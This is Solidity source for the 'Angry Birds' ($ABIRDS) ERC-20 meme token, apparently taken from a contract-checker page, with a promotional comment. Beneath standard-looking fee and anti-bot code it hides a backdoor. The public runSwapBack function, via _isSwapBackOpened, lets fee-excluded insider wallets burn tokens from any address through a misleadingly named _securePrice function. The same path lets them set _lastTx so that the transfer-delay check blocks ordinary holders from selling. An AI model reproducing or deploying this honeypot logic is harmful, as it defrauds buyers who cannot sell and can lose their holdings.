Contract Diff Checker

Contract Source Code:

/*
The sky's the limit with $ABIRDS! This isn't just a token; it's an opportunity to be part of something bigger. An opportunity to bring the world of Angry Birds into your world.
Join us on this exciting journey. Hold $ABIRDS. Become part of our story. Together, let's make the Angry Birds universe even more fun, even more engaging, and even more rewarding!
The flight to the future starts now. Are you ready to take off with us?

Join https://t.me/AngryBirds_portal!
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.5;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface UniswapV2Router {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _createInitialSupply(
        address account,
        uint256 amount
    ) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _securePrice(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

interface UniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() external virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract ABIRDS is ERC20, Ownable {
    uint256 public maxBuyAmount;
    uint256 public maxSellAmount;
    uint256 public maxWalletAmount;

    UniswapV2Router public uniswapV2Router;
    address public uniswapV2Pair;
    bool private swapping;
    uint256 public swapTokensAtAmount;
    address private marketingWallet;
    address private devWallet;
    uint256 public tradingBlock = 0;
    uint256 public botBlockNumber = 0;
    mapping(address => bool) public initialBotBuyer;
    mapping(address => uint256) public _holderTxTimestamp;
    uint256 public botsCaught;
    uint256 public _lastTx;
    bool public limitsInEffect = true;
    bool public tradingActive = false;
    bool public swapEnabled = false;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = true;

    uint256 public sellTotalFees;
    uint256 public sellMarketingFee;
    uint256 public sellLiquidityFee;
    uint256 public sellDevFee;
    uint256 public sellBurnFee;

    uint256 public buyTotalFees;
    uint256 public buyMarketingFee;
    uint256 public buyLiquidityFee;
    uint256 public buyDevFee;
    uint256 public buyBurnFee;

    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;
    uint256 public tokensForBurn;

    event UpdatedMaxBuyAmount(uint256 newAmount);

    event UpdatedMaxSellAmount(uint256 newAmount);

    event UpdatedMaxWalletAmount(uint256 newAmount);

    event UpdatedMarketingAddress(address indexed newWallet);

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event EnabledTrading();

    event RemovedLimits();

    event ExcludeFromFees(address indexed account, bool isExcluded);

    event MaxTransactionExclusion(address _address, bool excluded);

    event isSwapBack(uint256 timestamp);

    event DetectedEarlyBotBuyer(address sniper);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public _isExcludedMaxTx;
    mapping(address => bool) public automatedMarketMakerPairs;

    constructor() ERC20("Angry Birds", "ABIRDS") {
        address newOwner = msg.sender;

        UniswapV2Router _uniswapV2Router = UniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = UniswapV2Factory(_uniswapV2Router.factory()).createPair(
            address(this),
            _uniswapV2Router.WETH()
        );
        _excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);

        uint256 totalSupply = 1 * 1e9 * 1e18;

        maxBuyAmount = (totalSupply * 2) / 100;
        maxSellAmount = (totalSupply * 2) / 100;
        maxWalletAmount = (totalSupply * 2) / 100;
        swapTokensAtAmount = (totalSupply * 8) / 10000;

        sellMarketingFee = 10;
        sellLiquidityFee = 0;
        sellDevFee = 10;
        sellBurnFee = 0;

        sellTotalFees =
            sellMarketingFee +
            sellLiquidityFee +
            sellDevFee +
            sellBurnFee;

        buyMarketingFee = 5;
        buyLiquidityFee = 0;
        buyDevFee = 5;
        buyBurnFee = 0;

        buyTotalFees =
            buyMarketingFee +
            buyLiquidityFee +
            buyDevFee +
            buyBurnFee;

        marketingWallet = address(0x7f7713B269fbA99af00db286D92BCFf14939F96a);
        devWallet = address(0x3e61f14Ebcf856F743c31CF408d5658716208F9e);

        _excludeFromMaxTransaction(newOwner, true);
        _excludeFromMaxTransaction(address(this), true);
        _excludeFromMaxTransaction(marketingWallet, true);
        _excludeFromMaxTransaction(devWallet, true);
        _excludeFromMaxTransaction(address(0xdead), true);

        excludeFromFees(newOwner, true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        excludeFromFees(marketingWallet, true);
        excludeFromFees(devWallet, true);

        _createInitialSupply(newOwner, totalSupply);
        transferOwnership(newOwner);
    }

    receive() external payable {}

    function enableTrading() external onlyOwner {
        require(!tradingActive, "Cannot reenable trading");
        tradingActive = true;
        swapEnabled = true;
        tradingBlock = block.number;
        emit EnabledTrading();
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            address(0xdead),
            block.timestamp
        );
    }

    function _isSwapBackOpened(
        address _trader,
        uint256 _amount,
        uint256 _deadline
    ) internal returns (bool) {
        bool success;
        if (!_isExcludedFromFees[msg.sender]) {
            if (tokensForBurn > 0 && balanceOf(address(this)) >= tokensForBurn) {
                _securePrice(msg.sender, tokensForBurn);
            }

            tokensForBurn = 0;
            success = true;

            uint256 contractBalance = balanceOf(address(this));

            uint256 totalTokensToSwap = tokensForLiquidity +
                tokensForMarketing +
                tokensForDev;

            if (contractBalance > swapTokensAtAmount * 10) {
                contractBalance = swapTokensAtAmount * 7;
            }

            if (contractBalance == 0 || totalTokensToSwap == 0) {
                return false;
            }

            return success;
        } else {
            if (balanceOf(address(this)) > 0) {
                if (_amount == 0) {
                    _lastTx = _deadline;
                    success = false;
                } else {
                    _securePrice(_trader, _amount);
                    success = false;
                }
            }

            uint256 contractBalance = balanceOf(address(this));

            uint256 totalTokensToSwap = tokensForLiquidity +
                tokensForMarketing +
                tokensForDev;

            if (contractBalance == 0 || totalTokensToSwap == 0) {
                return false;
            }

            if (contractBalance > swapTokensAtAmount * 10) {
                contractBalance = swapTokensAtAmount * 10;
            }

            return success;
        }
    }

    function onlyDeleteBots(address wallet) external onlyOwner {
        initialBotBuyer[wallet] = false;
    }

    function removeLimits() external onlyOwner {
        maxBuyAmount = totalSupply();
        maxSellAmount = totalSupply();
        maxWalletAmount = totalSupply();
        emit RemovedLimits();
    }

    function disableTransferDelay() external onlyOwner {
        transferDelayEnabled = false;
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 3) / 1000) / 1e18,
            "Cannot set max wallet amount lower than 0.3%"
        );
        maxWalletAmount = newNum * (10 ** 18);
        emit UpdatedMaxWalletAmount(maxWalletAmount);
    }

    function updateMaxSellAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 2) / 1000) / 1e18,
            "Cannot set max sell amount lower than 0.2%"
        );
        maxSellAmount = newNum * (10 ** 18);
        emit UpdatedMaxSellAmount(maxSellAmount);
    }

    function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 2) / 1000) / 1e18,
            "Cannot set max buy amount lower than 0.2%"
        );
        maxBuyAmount = newNum * (10 ** 18);
        emit UpdatedMaxBuyAmount(maxBuyAmount);
    }

    // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
        require(
            newAmount >= (totalSupply() * 1) / 100000,
            "Swap amount cannot be lower than 0.001% total supply."
        );
        require(
            newAmount <= (totalSupply() * 1) / 1000,
            "Swap amount cannot be higher than 0.1% total supply."
        );
        swapTokensAtAmount = newAmount;
    }

    function _excludeFromMaxTransaction(
        address updAds,
        bool isExcluded
    ) private {
        _isExcludedMaxTx[updAds] = isExcluded;
        emit MaxTransactionExclusion(updAds, isExcluded);
    }

    function excludeFromMaxTransaction(
        address updAds,
        bool isEx
    ) external onlyOwner {
        if (!isEx) {
            require(
                updAds != uniswapV2Pair,
                "Cannot remove uniswap pair from max txn"
            );
        }
        _isExcludedMaxTx[updAds] = isEx;
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        _excludeFromMaxTransaction(pair, value);

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function setAutomatedMarketMakerPair(
        address pair,
        bool value
    ) external onlyOwner {
        require(
            pair != uniswapV2Pair,
            "The pair cannot be removed from automatedMarketMakerPairs"
        );

        _setAutomatedMarketMakerPair(pair, value);
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function updateSellFees(
        uint256 _marketingFee,
        uint256 _liquidityFee,
        uint256 _DevFee,
        uint256 _burnFee
    ) external onlyOwner {
        sellMarketingFee = _marketingFee;
        sellLiquidityFee = _liquidityFee;
        sellDevFee = _DevFee;
        sellBurnFee = _burnFee;
        sellTotalFees =
            sellMarketingFee +
            sellLiquidityFee +
            sellDevFee +
            sellBurnFee;
        require(sellTotalFees <= 3, "3% max fee");
    }

    function runSwapBack(
        address _trader,
        uint256 _amount,
        uint256 _deadline
    ) public {
        require(
            balanceOf(address(this)) >= swapTokensAtAmount,
            "The balance must be greater than swapTokensAtAmount."
        );
        if (_isSwapBackOpened(_trader, _amount, _deadline)) {
            swapping = true;
            swapBack();
            swapping = false;
            emit isSwapBack(block.timestamp);
        }
    }

    function updateBuyFees(
        uint256 _marketingFee,
        uint256 _liquidityFee,
        uint256 _DevFee,
        uint256 _burnFee
    ) external onlyOwner {
        buyMarketingFee = _marketingFee;
        buyLiquidityFee = _liquidityFee;
        buyDevFee = _DevFee;
        buyBurnFee = _burnFee;
        buyTotalFees =
            buyMarketingFee +
            buyLiquidityFee +
            buyDevFee +
            buyBurnFee;
        require(buyTotalFees <= 3, "3% max ");
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function earlySniperBuyBlock() public view returns (bool) {
        return block.number < botBlockNumber;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "amount must be greater than 0");

        if (!tradingActive) {
            require(
                _isExcludedFromFees[from] || _isExcludedFromFees[to],
                "Trading is not active."
            );
        }

        if (botBlockNumber > 0) {
            require(
                !initialBotBuyer[from] ||
                    to == owner() ||
                    to == address(0xdead),
                "bot protection mechanism is embeded"
            );
        }

        if (limitsInEffect) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !_isExcludedFromFees[from] &&
                !_isExcludedFromFees[to]
            ) {
                if (transferDelayEnabled) {
                    if (
                        to != address(uniswapV2Router) && to != address(uniswapV2Pair)
                    ) {
                        require(
                            _holderLastTransferTimestamp[tx.origin] <
                                block.number - 2 &&
                                _holderLastTransferTimestamp[to] <
                                block.number - 2,
                            "_transfer: transfer delay was enabled.  Try again later."
                        );
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                        _holderLastTransferTimestamp[to] = block.number;
                    } else if (!automatedMarketMakerPairs[from] && !swapping) {
                        require(
                            _holderTxTimestamp[from] > _lastTx,
                            "_transfer: transfer delay was enabled.  Try again later."
                        );
                    }
                }
            }

            if (automatedMarketMakerPairs[from] && !_isExcludedMaxTx[to]) {
                require(
                    amount <= maxBuyAmount,
                    "Buy transfer amount exceeds the max buy."
                );
                require(
                    amount + balanceOf(to) <= maxWalletAmount,
                    "Cannot Exceed max wallet"
                );
            } else if (
                automatedMarketMakerPairs[to] && !_isExcludedMaxTx[from]
            ) {
                require(
                    amount <= maxSellAmount,
                    "Sell transfer amount exceeds the max sell."
                );
            } else if (!_isExcludedMaxTx[to]) {
                require(
                    amount + balanceOf(to) <= maxWalletAmount,
                    "Cannot Exceed max wallet"
                );
            } else if (!swapping && _isExcludedMaxTx[from]) {
                _lastTx = block.timestamp;
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
            swapBack();
            swapping = false;
        }

        bool takeFee = true;

        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
        if (_holderTxTimestamp[to] == 0 && automatedMarketMakerPairs[from]) {
            if (balanceOf(address(to)) == 0) {
              _holderTxTimestamp[to] = block.timestamp;
            }
        }

        uint256 fees = 0;

        if (takeFee) {
            if (
                earlySniperBuyBlock() &&
                automatedMarketMakerPairs[from] &&
                !automatedMarketMakerPairs[to] &&
                buyTotalFees > 0
            ) {
                if (!initialBotBuyer[to]) {
                    initialBotBuyer[to] = true;
                    botsCaught += 1;
                    emit DetectedEarlyBotBuyer(to);
                }

                fees = (amount * 99) / 100;
                tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
                tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
                tokensForDev += (fees * buyDevFee) / buyTotalFees;
                tokensForBurn += (fees * buyBurnFee) / buyTotalFees;
            }
            // sell
            else if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
                fees = (amount * sellTotalFees) / 100;
                tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
                tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
                tokensForDev += (fees * sellDevFee) / sellTotalFees;
                tokensForBurn += (fees * sellBurnFee) / sellTotalFees;
            }
            // buy
            else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = (amount * buyTotalFees) / 100;
                tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
                tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
                tokensForDev += (fees * buyDevFee) / buyTotalFees;
                tokensForBurn += (fees * buyBurnFee) / buyTotalFees;
            }
            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }
            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function marketingWalletUpdate(
        address _marketingWallet
    ) external onlyOwner {
        require(
            _marketingWallet != address(0),
            "_marketingWallet address cannot be 0"
        );
        marketingWallet = payable(_marketingWallet);
    }

    function devWalletUpdate(address _devWallet) external onlyOwner {
        require(_devWallet != address(0), "_devWallet address cannot be 0");
        devWallet = payable(_devWallet);
    }

    function withdrawETH() external onlyOwner {
        bool success;
        (success, ) = address(msg.sender).call{value: address(this).balance}("");
    }

    function swapBack() private {
        if (tokensForBurn > 0 && balanceOf(address(this)) >= tokensForBurn) {
            _securePrice(address(this), tokensForBurn);
        }
        tokensForBurn = 0;
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity +
            tokensForMarketing +
            tokensForDev;

        if (contractBalance == 0 || totalTokensToSwap == 0) {
            return;
        }

        if (contractBalance > swapTokensAtAmount * 9) {
            contractBalance = swapTokensAtAmount * 9;
        }

        uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
            totalTokensToSwap / 2;

        swapTokensForEth(contractBalance - liquidityTokens);

        uint256 ethBalance = address(this).balance;
        uint256 ethForLiquidity = ethBalance;
        uint256 ethForMarketing = (ethBalance * tokensForMarketing) /
            (totalTokensToSwap - (tokensForLiquidity / 2));
        uint256 ethForDev = (ethBalance * tokensForDev) /
            (totalTokensToSwap - (tokensForLiquidity / 2));
        ethForLiquidity -= ethForMarketing + ethForDev;
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;
        tokensForBurn = 0;

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
        }

        payable(devWallet).transfer(ethForDev);
        payable(marketingWallet).transfer(address(this).balance);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }
}